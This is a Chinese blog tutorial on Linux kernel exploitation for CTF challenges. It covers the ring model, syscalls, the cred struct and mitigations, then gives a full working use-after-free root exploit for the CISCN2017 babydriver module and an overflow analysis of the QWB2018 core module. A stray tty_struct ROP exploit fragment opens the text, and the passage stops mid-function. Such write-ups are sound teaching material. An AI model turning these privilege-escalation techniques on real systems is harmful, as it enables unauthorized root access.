    fake_tty_operations[1] = (size_t)rop;
    fake_tty_operations[3] = 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret

    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);
    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);

    int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    size_t fake_tty_struct[4] = {0};
    read(fd2, fake_tty_struct, 32);
    fake_tty_struct[3] = (size_t)fake_tty_operations;
    write(fd2,fake_tty_struct, 32);

    char buf[0x8] = {0};
    write(fd_tty, buf, 8);

    return 0;
}

Linux Kernel Pwn ABC(Ⅰ)

Wed, 03 Oct 2018 19:50:41 +0800

记录一下最近学到的 linux kernel pwn 知识，第一篇主要是一些基础知识和简单漏洞利用，比较基础。

Basic Knowledge

主要参考了 Linux Kernel Exploitation，另外强力建议阅读内核模块编程入门。

Kernel

kernel 也是一个程序，用来管理软件发出的数据 I/O 要求，讲这些要求转义为指令，交给 CPU 和计算机中的其他组件处理，kernel 是现代操作系统最基本的部分。

kernel 最主要的功能有两点：

控制并与硬件进行交互
提供 application 能运行的环境

包括 I/O，权限控制，系统调用，进程管理，内存管理等多项功能都可以归结到上边两点中。

需要注意的是，kernel 的 crash 通常会引起重启。

Ring Model

intel CPU 将 CPU 的特权级别分为 4 个级别：Ring 0, Ring 1, Ring 2, Ring 3。

Ring0 只给 OS 使用，Ring 3 所有程序都可以使用，内层 Ring 可以随便使用外层 Ring 的资源。

使用 Ring Model 是为了提升系统安全性，例如某个间谍软件作为一个在 Ring 3 运行的用户程序，在不通知用户的时候打开摄像头会被阻止，因为访问硬件需要使用being驱动程序保留的 Ring 1 的方法。

大多数的现代操作系统只使用了 Ring 0 和 Ring 3。

Loadable Kernel Modules(LKMs)

可加载核心模块 (或直接称为内核模块) 就像运行在内核空间的可执行程序，包括:

驱动程序（Device drivers）
内核扩展模块 (modules)

LKMs 的文件格式和用户态的可执行程序相同，Linux 下为 ELF，Windows 下为 exe/dll，mac 下为 MACH-O，因此我们可以用 IDA 等工具来分析内核模块。

模块可以被单独编译，但不能单独运行。它在运行时被链接到内核作为内核的一部分在内核空间运行，这与运行在用户控件的进程不同。

模块通常用来实现一种文件系统、一个驱动程序或者其他内核上层的功能。

Linux 内核之所以提供模块机制，是因为它本身是一个单内核 (monolithic kernel)。单内核的优点是效率高，因为所有的内容都集合在一起，但缺点是可扩展性和可维护性相对较差，模块机制就是为了弥补这一缺陷。

syscall

系统调用，指的是用户空间的程序向操作系统内核请求需要更高权限的服务，比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口，部分库函数（如 scanf，puts 等 IO 相关的函数实际上是对系统调用的封装（read 和 write)）。

在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h 和 /usr/include/x86_64-linux-gnu/asm/unistd_32.h 分别可以查看 64 位和 32 位的系统调用号。

推荐两个查阅系统调用号的网站

syscall-32

syscall-64

ioctl

直接查看 man 手册

NAME
       ioctl - control device

SYNOPSIS
       #include <sys/ioctl.h>

       int ioctl(int fd, unsigned long request, ...);

DESCRIPTION
       The ioctl() system call manipulates the underlying device parameters of special
       files.  In particular, many  operating  characteristics  of  character  special
       files  (e.g., terminals) may be controlled with ioctl() requests.  The argument
       fd must be an open file descriptor.

       The second argument is a device-dependent request code.  The third argument  is
       an  untyped  pointer  to  memory.  It's traditionally char *argp (from the days
       before void * was valid C), and will be so named for this discussion.

       An ioctl() request has encoded in it whether the argument is an in parameter or
       out  parameter, and the size of the argument argp in bytes.  Macros and defines
       used in specifying an ioctl() request are located in the file <sys/ioctl.h>.

可以看出 ioctl 也是一个系统调用，用于与设备通信。

int ioctl(int fd, unsigned long request, ...) 的第一个参数为打开设备 (open) 返回的文件描述符，第二个参数为用户程序对设备的控制命令，再后边的参数则是一些补充参数，与设备有关。

使用 ioctl 进行通信的原因：

操作系统提供了内核访问标准外部设备的系统调用，因为大多数硬件设备只能够在内核空间内直接寻址,但是当访问非标准硬件设备这些系统调用显得不合适,有时候用户模式可能需要直接访问设备。

比如，一个系统管理员可能要修改网卡的配置。现代操作系统提供了各种各样设备的支持，有一些设备可能没有被内核设计者考虑到，如此一来提供一个这样的系统调用来使用设备就变得不可能了。

为了解决这个问题，内核被设计成可扩展的，可以加入一个称为设备驱动的模块，驱动的代码允许在内核空间运行而且可以对设备直接寻址。一个Ioctl接口是一个独立的系统调用，通过它用户空间可以跟设备驱动沟通。对设备驱动的请求是一个以设备和请求号码为参数的Ioctl调用，如此内核就允许用户空间访问设备驱动进而访问设备而不需要了解具体的设备细节，同时也不需要一大堆针对不同设备的系统调用。

状态切换

user space to kernel space

当发生 系统调用，产生异常，外设产生中断等事件时，会发生用户态到内核态的切换，具体的过程为：

通过 swapgs 切换 GS 段寄存器，将 GS 寄存器值和一个特定位置的值进行交换，目的是保存 GS 值，同时将该位置的值作为内核执行时的 GS 值使用。
将当前栈顶（用户空间栈顶）记录在 CPU 独占变量区域里，将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。

通过 push 保存各寄存器值，具体的代码如下:

 ENTRY(entry_SYSCALL_64)
 /* SWAPGS_UNSAFE_STACK是一个宏，x86直接定义为swapgs指令 */
 SWAPGS_UNSAFE_STACK
   
 /* 保存栈值，并设置内核栈 */
 movq %rsp, PER_CPU_VAR(rsp_scratch)
 movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
   
   
/* 通过push保存寄存器值，形成一个pt_regs结构 */
/* Construct struct pt_regs on stack */
pushq  $__USER_DS      /* pt_regs->ss */
pushq  PER_CPU_VAR(rsp_scratch)  /* pt_regs->sp */
pushq  %r11             /* pt_regs->flags */
pushq  $__USER_CS      /* pt_regs->cs */
pushq  %rcx             /* pt_regs->ip */
pushq  %rax             /* pt_regs->orig_ax */
pushq  %rdi             /* pt_regs->di */
pushq  %rsi             /* pt_regs->si */
pushq  %rdx             /* pt_regs->dx */
pushq  %rcx tuichu    /* pt_regs->cx */
pushq  $-ENOSYS        /* pt_regs->ax */
pushq  %r8              /* pt_regs->r8 */
pushq  %r9              /* pt_regs->r9 */
pushq  %r10             /* pt_regs->r10 */
pushq  %r11             /* pt_regs->r11 */
sub $(6*8), %rsp      /* pt_regs->bp, bx, r12-15 not saved */

通过汇编指令判断是否为 x32_abi。
通过系统调用号，跳到全局变量 sys_call_table 相应位置继续执行系统调用。

kernel space to user space

退出时，流程如下：

通过 swapgs 恢复 GS 值
通过 sysretq 或者 iretq 恢复到用户控件继续执行。如果使用 iretq 还需要给出用户空间的一些信息（CS, eflags/rflags, esp/rsp 等）

struct cred

之前提到 kernel 记录了进程的权限，更具体的，是用 cred 结构体记录的，每个进程中都有一个 cred 结构，这个结构保存了该进程的权限等信息（uid，gid 等），如果能修改某个进程的 cred，那么也就修改了这个进程的权限。

源码如下:

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
} __randomize_layout;

内核态函数

相比用户态库函数，内核态的函数有了一些变化

printf() -> printk()，但需要注意的是 printk() 不一定会把内容显示到终端上，但一定在内核缓冲区里，可以通过 dmesg 查看效果
memcpy() -> copy_from_user()/copy_to_user()
- copy_from_user() 实现了将用户空间的数据传送到内核空间
- copy_to_user() 实现了将内核空间的数据传送到用户空间
malloc() -> kmalloc()，内核态的内存分配函数，和 malloc() 相似，但使用的是 slab/slub 分配器
free() -> kfree()，同 kmalloc()

另外要注意的是，kernel 管理进程，因此 kernel 也记录了进程的权限。kernel 中有两个可以方便的改变权限的函数：

*int commit_creds(struct cred new)
struct cred prepare_kernel_cred(struct task_struct daemon)**

从函数名也可以看出，执行 commit_creds(prepare_kernel_cred(0)) 即可获得 root 权限（root 的 uid，gid 均为 0）

执行 commit_creds(prepare_kernel_cred(0)) 也是最常用的提权手段，两个函数的地址都可以在 /proc/kallsyms 中查看（较老的内核版本中是 /proc/ksyms。

post sudo grep commit_creds /proc/kallsyms 
[sudo] m4x 的密码：
ffffffffbb6af9e0 T commit_creds
ffffffffbc7cb3d0 r __ksymtab_commit_creds
ffffffffbc7f06fe r __kstrtab_commit_creds
post sudo grep prepare_kernel_cred /proc/kallsyms
ffffffffbb6afd90 T prepare_kernel_cred
ffffffffbc7d4f20 r __ksymtab_prepare_kernel_cred
ffffffffbc7f06b7 r __kstrtab_prepare_kernel_cred

一般情况下，/proc/kallsyms 的内容需要 root 权限才能查看

Mitigation

canary, dep, PIE, RELRO 等保护与用户态原理和作用相同

smep: Supervisor Mode Execution Protection，当处理器处于 ring0 模式时，执行 用户空间 的代码会触发页错误。（在 arm 中该保护称为 PXN)
smap: Superivisor Mode Access Protection，类似于 smep，通常是在访问数据时。
mmap_min_addr:

CTF kernel pwn 相关

一般会给以下三个文件

boot.sh: 一个用于启动 kernel 的 shell 的脚本，多用 qemu，保护措施与 qemu 不同的启动参数有关
bzImage: kernel binary

rootfs.cpio: 文件系统映像

比如：

CISCN2017_babydriver [master●] ls
babydriver.tar
CISCN2017_babydriver [master●] x babydriver.tar
boot.sh
bzImage
rootfs.cpio
CISCN2017_babydriver [master●] ls
babydriver.tar  boot.sh  bzImage  rootfs.cpio
CISCN2017_babydriver [master●] file bzImage
bzImage: Linux kernel x86 boot executable bzImage, version 4.4.72 (atum@ubuntu) #1 SMP Thu Jun 15 19:52:50 PDT 2017, RO-rootFS, swap_dev 0x6, Normal VGA
CISCN2017_babydriver [master●] file rootfs.cpio
rootfs.cpio: gzip compressed data, last modified: Tue Jul  4 08:39:15 2017, max compression, from Unix, original size 2844672
CISCN2017_babydriver [master●] file boot.sh
boot.sh: Bourne-Again shell script, ASCII text executable
CISCN2017_babydriver [master●] bat boot.sh 
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: boot.sh
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ #!/bin/bash
   2   │ 
   3   │ qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 ro
       │ ot=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographi
       │ c  -smp cores=1,threads=1 -cpu kvm64,+smep
───────┴─────────────────────────────────────────────────────────────────────────────────

`` 解释一下 qemu 启动的参数：

-initrd rootfs.cpio，使用 rootfs.cpio 作为内核启动的文件系统
-kernel bzImage，使用 bzImage 作为 kernel 映像
-cpu kvm64,+smep，设置 CPU 的安全选项，这里开启了 smep
-m 64M，设置虚拟 RAM 为 64M，默认为 128M

其他的选项可以通过 –help 查看。

本地写好 exploit 后，可以通过 base64 编码等方式把编译好的二进制文件保存到远程目录下，进而拿到 flag

Example

背景知识还有很多，会在分析例题的过程中逐步介绍。

kernel UAF - CISCN2017 - babydriver

attachment here

分析

先解压 rootfs.cpio 看一下有什么文件

CISCN2017_babydriver [master●] mkdir core
CISCN2017_babydriver [master●] cd core 
core [master●] mv ../rootfs.cpio rootfs.cpio.gz
core [master●●] gunzip ./rootfs.cpio.gz 
core [master●] ls
rootfs.cpio
core [master●] cpio -idmv < rootfs.cpio 
.
etc
etc/init.d
etc/passwd
etc/group
...
...
usr/sbin/rdev
usr/sbin/ether-wake
tmp
linuxrc
home
home/ctf
5556 块
core [master●] ls
bin  etc  home  init  lib  linuxrc  proc  rootfs.cpio  sbin  sys  tmp  usr
core [master●] bat init
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: init
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ #!/bin/sh
   2   │
   3   │ mount -t proc none /proc
   4   │ mount -t sysfs none /sys
   5   │ mount -t devtmpfs devtmpfs /dev
   6   │ chown root:root flag
   7   │ chmod 400 flag
   8   │ exec 0</dev/console
   9   │ exec 1>/dev/console
  10   │ exec 2>/dev/console
  11   │
  12   │ insmod /lib/modules/4.4.72/babydriver.ko
  13   │ chmod 777 /dev/babydev
  14   │ echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
  15   │ setsid cttyhack setuidgid 1000 sh
  16   │
  17   │ umount /proc
  18   │ umount /sys
  19   │ poweroff -d 0  -f
  20   │
───────┴────────────────────────────────────────────────────────────

根据 init 的内容，12 行加载了 babydriver.ko 这个驱动，根据 pwn 的一般套路，这个就是有漏洞的 LKM 了。init 的其他命令都是 linux 常用的命令，就不再解释了。

把这个驱动文件拿出来。

core [master●] cp ./lib/modules/4.4.72/babydriver.ko ..
core [master●] cd ..
CISCN2017_babydriver [master●] check ./babydriver.ko
./babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, with debug_info, not stripped
[*] '/home/m4x/pwn_repo/CISCN2017_babydriver/babydriver.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

没有开 PIE，无 canary 保护，没有去除符号表，很 nice。

用 IDA 打开分析，既然没有去除符号表，shift + F9 先看一下有什么结构体，可以发现如下的结构体：

00000000 babydevice_t    struc ; (sizeof=0x10, align=0x8, copyof_429)
00000000                                         ; XREF: .bss:babydev_struct/r
00000000 device_buf      dq ?                    ; XREF: babyrelease+6/r
00000000                                         ; babyopen+26/w ... ; offset
00000008 device_buf_len  dq ?                    ; XREF: babyopen+2D/w
00000008                                         ; babyioctl+3C/w ...
00000010 babydevice_t    ends
00000010

再看一下主要函数

babyioctl: 定义了 0x10001 的命令，可以释放全局变量 babydev_struct 中的 device_buf，再根据用户传递的 size 重新申请一块内存，并设置 device_buf_len。

// local variable allocation has failed, the output may be wrong!
void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 v5; // rdx

  _fentry__(filp, *(_QWORD *)&command);
  v4 = v3;
  if ( command == 0x10001 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n", 0x24000C0LL, v5);
  }
  else
  {
    printk("\x013defalut:arg is %ld\n", v3, v3);
  }
}

babyopen: 申请一块空间，大小为 0x40 字节，地址存储在全局变量 babydev_struct.device_buf 上，并更新 babydev_struct.device_buf_len

int __fastcall babyopen(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n", 0x24000C0LL, v2);
  return 0;
}

babyread: 先检查长度是否小于 babydev_struct.device_buf_len，然后把 babydev_struct.device_buf 中的数据拷贝到 buffer 中，buffer 和长度都是用户传递的参数

void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx

  _fentry__(filp, buffer);
  if ( babydev_struct.device_buf )
  {
    if ( babydev_struct.device_buf_len > v4 )
      copy_to_user(buffer, babydev_struct.device_buf, v4);
  }
}

babywrite: 类似 babyread，不同的是从 buffer 拷贝到全局变量中

void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx

  _fentry__(filp, buffer);
  if ( babydev_struct.device_buf )
  {
    if ( babydev_struct.device_buf_len > v4 )
      copy_from_user(babydev_struct.device_buf, buffer, v4);
  }
}

babyrelease: 释放空间，没什么好说的

int __fastcall babyrelease(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n", filp, v2);
  return 0;
}

还有 babydriver_init() 和 babydriver_exit() 两个函数分别完成了 /dev/babydev 设备的初始化和清理，查一下函数的用法即可，不再分析。

思路

没有用户态传统的溢出等漏洞，但存在一个伪条件竞争引发的 UAF 漏洞。

也就是说如果我们同时打开两个设备，第二次会覆盖第一次分配的空间，因为 babydev_struct 是全局的。同样，如果释放第一个，那么第二个其实是被是释放过得，这样就造成了一个 UAF。

那么有了 UAF 要怎么用呢？根据之前的分析，可以修改进程的 cred 结构。

其中 4.4.72 的 cred 结构体定义如下：

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
};

那么根据 UAF 的思想，思路如下：

打开两次设备，通过 ioctl 更改其大小为 cred 结构体的大小
释放其中一个，fork 一个新进程，那么这个新进程的 cred 的空间就会和之前释放的空间重叠
同时，我们可以通过另一个文件描述符对这块空间写，只需要将 uid，gid 改为 0，即可以实现提权到 root

需要确定 cred 结构体的大小，有了源码，大小就很好确定了。计算一下是 0x8a（注意使用相同内核版本的源码）。

Exploit

注释都写在代码里了，exploit here

CISCN2017_babydriver [master●●] cat exploit.c 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
	// 打开两次设备
	int fd1 = open("/dev/babydev", 2);
	int fd2 = open("/dev/babydev", 2);

	// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
	ioctl(fd1, 0x10001, 0x8a);

	// 释放 fd1
	close(fd1);

	// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
	int pid = fork();
	if(pid < 0)
	{
		puts("[*] fork error!");
		exit(0);
	}

	else if(pid == 0)
	{
		// 通过更改 fd2，修改新进程的 cred 的 uid，gid 等值为0
		char zeros[30] = {0};
		write(fd2, zeros, 28);

		if(getuid() == 0)
		{
			puts("[+] root now.");
			system("/bin/sh");
			exit(0);
		}
	}
	
	else
	{
		wait(NULL);
	}
	close(fd2);

	return 0;
}

get root shell

// 静态编译文件，kernel 中没有 libc
CISCN2017_babydriver [master●●] gcc exploit.c -static -o exploit
CISCN2017_babydriver [master●●] file exploit
exploit: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=90aabed5497b6922fda3d5118e4aa9cb2fa5ccc5, not stripped
// 把编译好的 exp 解压后的目录下，重新打包 rootfs.cpio
CISCN2017_babydriver [master●●] cp exploit core/tmp 
CISCN2017_babydriver [master●●] cd core 
core [master●●] find . | cpio -o --format=newc > rootfs.cpio
7017 块
core [master●●] cp rootfs.cpio ..
core [master●●] cd ..
// kvm 需要有 root 权限
CISCN2017_babydriver [master●●] sudo ./boot.sh
......
......

/ $ ls /tmp/
exploit
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ /tmp/exploit
[   14.376187] device open
[   14.376715] device open
[   14.377201] alloc done
[   14.377629] device release
[+] root now.
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
/ #

在后来的学习中，发现使用 SimpleHTTPServer 来传输文件更加方便快捷。

当然也可以用 rop 来做，放到下一篇分析

kernel ROP - 2018强网杯 - core

分析

题目给了 bzImage，core.cpio，start.sh 以及带符号表的 vmlinux 四个文件

前三个文件我们已经知道了作用，vmlinux 则是静态编译，未经过压缩的 kernel 文件，相对应的 bzImage 可以理解为压缩后的文件，更详细的可以看 stackexchange

vmlinux 未经过压缩，也就是说我们可以从 vmlinux 中找到一些 gadget，我们先把 gadget 保存下来备用。

建议使用 Ropper 来寻找 gadget，在我测试时，ropper 用了两分半钟提取出了所有的 gadget，而 ROPgadget 用了半个小时耗尽了内存还没跑出结果。。。

give_to_player [master●] time ropper --file ./vmlinux --nocolor > g1
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
ropper --file ./vmlinux --nocolor > g1  147.42s user 25.68s system 111% cpu 2:35.17 total

give_to_player [master●] time ROPgadget --binary ./vmlinux > g2
[2]    16597 killed     ROPgadget --binary ./vmlinux > g2
ROPgadget --binary ./vmlinux > g2  1064.39s user 42.52s system 54% cpu 33:35.89 total

如果题目没有给 vmlinux，可以通过 extract-vmlinux 提取。

1
2
3

CISCN2017_babydriver [master●●] ./extract-vmlinux ./bzImage > vmlinux
CISCN2017_babydriver [master●●] file vmlinux 
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=e993ea9809ee28d059537a0d5e866794f27e33b4, stripped

看一下 start.sh

give_to_player [master●●] ls
bzImage  core.cpio  start.sh  vmlinux
give_to_player [master●●] bat start.sh 
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: start.sh
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ qemu-system-x86_64 \
   2   │ -m 64M \
   3   │ -kernel ./bzImage \
   4   │ -initrd  ./core.cpio \
   5   │ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
   6   │ -s  \
   7   │ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
   8   │ -nographic  \
───────┴─────────────────────────────────────────────────────────────────────────────────

发现内核开启了 kaslr 保护。

解压 core.cpio 后，看一下 init

give_to_player [master●] file core.cpio 
core.cpio: gzip compressed data, last modified: Fri Mar 23 13:41:13 2018, max compression, from Unix, original size 53442048
give_to_player [master●] mkdir core
give_to_player [master●] cd core 
core [master] mv ../core.cpio core.cpio.gz
core [master●] gunzip ./core.cpio.gz 
core [master●] cpio -idm < ./core.cpio
104379 块
core [master●] bat init 
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: init
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ #!/bin/sh
   2   │ mount -t proc proc /proc
   3   │ mount -t sysfs sysfs /sys
   4   │ mount -t devtmpfs none /dev
   5   │ /sbin/mdev -s
   6   │ mkdir -p /dev/pts
   7   │ mount -vt devpts -o gid=4,mode=620 none /dev/pts
   8   │ chmod 666 /dev/ptmx
   9   │ cat /proc/kallsyms > /tmp/kallsyms
  10   │ echo 1 > /proc/sys/kernel/kptr_restrict
  11   │ echo 1 > /proc/sys/kernel/dmesg_restrict
  12   │ ifconfig eth0 up
  13   │ udhcpc -i eth0
  14   │ ifconfig eth0 10.0.2.15 netmask 255.255.255.0
  15   │ route add default gw 10.0.2.2 
  16   │ insmod /core.ko
  17   │ 
  18   │ poweroff -d 120 -f &
  19   │ setsid /bin/cttyhack setuidgid 1000 /bin/sh
  20   │ echo 'sh end!\n'
  21   │ umount /proc
  22   │ umount /sys
  23   │ 
  24   │ poweroff -d 0  -f
───────┴────────────────────────────

发现了几处有意思的地方：

第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中，那么我们就能从 /tmp/kallsyms 中读取 commit_creds，prepare_kernel_cred 的函数的地址了
第 10 行把 kptr_restrict 设为 1，这样就不能通过 /proc/kallsyms 查看函数地址了，但第 9 行已经把其中的信息保存到了一个可读的文件中，这句就无关紧要了
第 11 行把 dmesg_restrict 设为 1，这样就不能通过 dmesg 查看 kernel 的信息了
第 18 行设置了定时关机，为了避免做题时产生干扰，直接把这句删掉然后重新打包

同时还发现了一个 shell 脚本 gen_cpio.sh

core [master●] bat gen_cpio.sh 
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: gen_cpio.sh
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ find . -print0 \
   2   │ | cpio --null -ov --format=newc \
   3   │ | gzip -9 > $1
───────┴─────────────────────────────────────────────────────────────────────────────────

从名称和内容都可以看出这是一个方便打包的脚本，我们修改好 init 后重新打包，尝试运行 kernel

core [master●●] vim init 
core [master●●] rm core.cpio 
core [master●●] ./gen_cpio.sh core.cpio
.
./usr
./usr/sbin
./usr/sbin/popmaildir
......
......
./core.cpio
./core.ko
129851 块
core [master●●] ls
bin        core.ko  gen_cpio.sh  lib    linuxrc  root  sys  usr
core.cpio  etc      init         lib64  proc     sbin  tmp  vmlinux
core [master●●] mv core.cpio ..
core [master●●] cd ..
give_to_player [master●●] ./start.sh

但这时候又遇到了新问题，内核运行不起来，从一闪即逝的报错信息中能看到是因为分配的内存过小，start.sh 中 -m 分配的是 64M，修改为 128M，终于能运行起来了。

/ $ lsmod
core 16384 0 - Live 0x0000000000000000 (O)
......
......
give_to_player [master●●] cp core/core.ko .
give_to_player [master●●] check ./core.ko
./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436683d
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

可以看出开启了 canary 保护，用 IDA 打开进一步分析。

init_module() 注册了 /proc/core

__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk("\x016core: created /proc/core entry\n");
  return 0LL;
}

exit_core() 删除 /proc/core

__int64 exit_core()
{
  __int64 result; // rax

  if ( core_proc )
    result = remove_proc_entry("core");
  return result;
}

core_ioctl() 定义了三条命令，分别调用 core_read()，core_copy_func() 和设置全局变量 off

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk("\x016core: %d\n");
      off = a3;
      break;
    case 0x6677889A:
      printk("\x016core: called core_copy\n");
      core_copy_func(a3);
      break;
  }
      core_copy_func(v3);
}

core_read() 从 v4[off] 拷贝 64 个字节到用户空间，但要注意的是全局变量 off 使我们能够控制的，因此可以合理的控制 off 来 leak canary 和一些地址

void __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  char *v2; // rdi
  signed __int64 i; // rcx
  char v4[64]; // [rsp+0h] [rbp-50h]
  unsigned __int64 v5; // [rsp+40h] [rbp-10h]

  v1 = a1;
  v5 = __readgsqword(0x28u);
  printk("\x016core: called core_read\n");
  printk("\x016%d %p\n");
  v2 = v4;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 += 4;
  }
  strcpy(v4, "Welcome to the QWB CTF challenge.\n");
  if ( copy_to_user(v1, &v4[off], 64LL) )
    __asm { swapgs }
}

core_copy_func() 从全局变量 name 中拷贝数据到局部变量中，长度是由我们指定的，当要注意的是 qmemcpy 用的是 unsigned __int16，但传递的长度是 signed __int64，因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值，就可以栈溢出了

void __fastcall core_copy_func(signed __int64 a1)
{
  char v1[64]; // [rsp+0h] [rbp-50h]
  unsigned __int64 v2; // [rsp+40h] [rbp-10h]

  v2 = __readgsqword(0x28u);
  printk("\x016core: called core_writen");
  if ( a1 > 63 )
    printk("\x016Detect Overflow");
  else
    qmemcpy(v1, name, (unsigned __int16)a1);    // overflow
}

core_write() 向全局变量 name 上写，这样通过 core_write() 和 core_copy_func() 就可以控制 ropchain 了

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx

  v3 = a3;
  printk("\x016core: called core_writen");
  if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
    return (unsigned int)v3;
  printk("\x016core: error copying data from userspacen");
